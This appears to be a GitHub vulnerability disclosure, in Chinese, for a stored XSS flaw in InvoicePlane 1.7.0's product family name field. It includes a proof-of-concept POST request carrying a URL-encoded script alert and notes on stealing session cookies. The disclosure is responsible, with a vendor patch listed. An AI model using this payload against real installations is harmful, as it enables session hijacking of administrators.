lagathos/CVE-2026-25594
GitHub: lagathos/CVE-2026-25594
记录 InvoicePlane 1.7.0 中通过 Family Name 字段实现的存储型 XSS 漏洞的完整 PoC 与披露文档。
Stars: 0 | Forks: 0
# CVE-2026-25594 — InvoicePlane 1.7.0 中通过 Family Name 实现的存储型 XSS
**漏洞:** 通过 Family Name 字段实现的存储型跨站脚本攻击 (XSS)
**产品:** [InvoicePlane](https://invoiceplane.com)
**受影响版本:** 1.7.0(及可能的早期版本)
**严重程度:** 中等
**CVSS 3.1 评分:** 4.8 (`CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N`)
**CWE:** CWE-79:网页生成期间输入的不当中和
**发现者:** Leonidas Agathos
**报告日期:** 2026-01-31
## 描述
产品系列表单 (`/index.php/families/form`) 中的 `family_name` 字段接受任意输入而未进行过滤。该值存储在数据库中,随后在产品创建/编辑页面的系列下拉列表中未经编码渲染,导致任何访问产品表单的管理员都会执行 JavaScript。
**易受攻击文件:** `application/modules/products/views/form.php:40`
```
// Line 40
>family_name; ?>
```
## 概念验证
**步骤 1 — 将 Payload 注入 Family Name**
导航至 `/index.php/families/form` 并提交以下内容作为 Family Name:
```
```
**请求:**
```
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E
```

**步骤 2 — 触发 XSS**
导航至 `/index.php/products/form`。当系列下拉列表渲染时,Payload 触发。

## 影响
任何访问产品创建或编辑页面的管理员都会在其浏览器中执行该 Payload。这可能导致会话劫持(如果 Cookie 未设置 HttpOnly)、CSRF Token 被盗以及以受害者身份执行操作。
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-01-30 | 发现漏洞 |
| 2026-01-31 | 开发概念验证 |
| 2026-01-31 | 通知厂商 |
| 2026-02-04 | 厂商确认 |
| 2026-02-04 | 发布补丁 |
| 2026-02-05 | 公开披露 |
## 参考资料
- [CWE-79](https://cwe.mitre.org/data/definitions/79.html)
- [OWASP: 跨站脚本攻击 (XSS)](https://owasp.org/www-community/attacks/xss/)
- [CVE-2026-25594](https://nvd.nist.gov/vuln/detail/CVE-2026-25594)
## 免责声明
此漏洞是在独立安全研究中发现的。所有信息仅用于教育、研究和防御目的,以协助厂商和安全社区理解和修复该问题。严禁将此信息用于任何恶意用途。
标签:CISA项目, Cookie窃取, CVE-2026-25594, CVSS 4.8, CWE-79, InvoicePlane, PHP安全, Web安全, 产品管理漏洞, 会话劫持, 后台RCE, 存储型XSS, 家族名称注入, 漏洞分析, 管理员攻击, 蓝队分析, 跨站脚本攻击, 路径探测, 输入验证缺失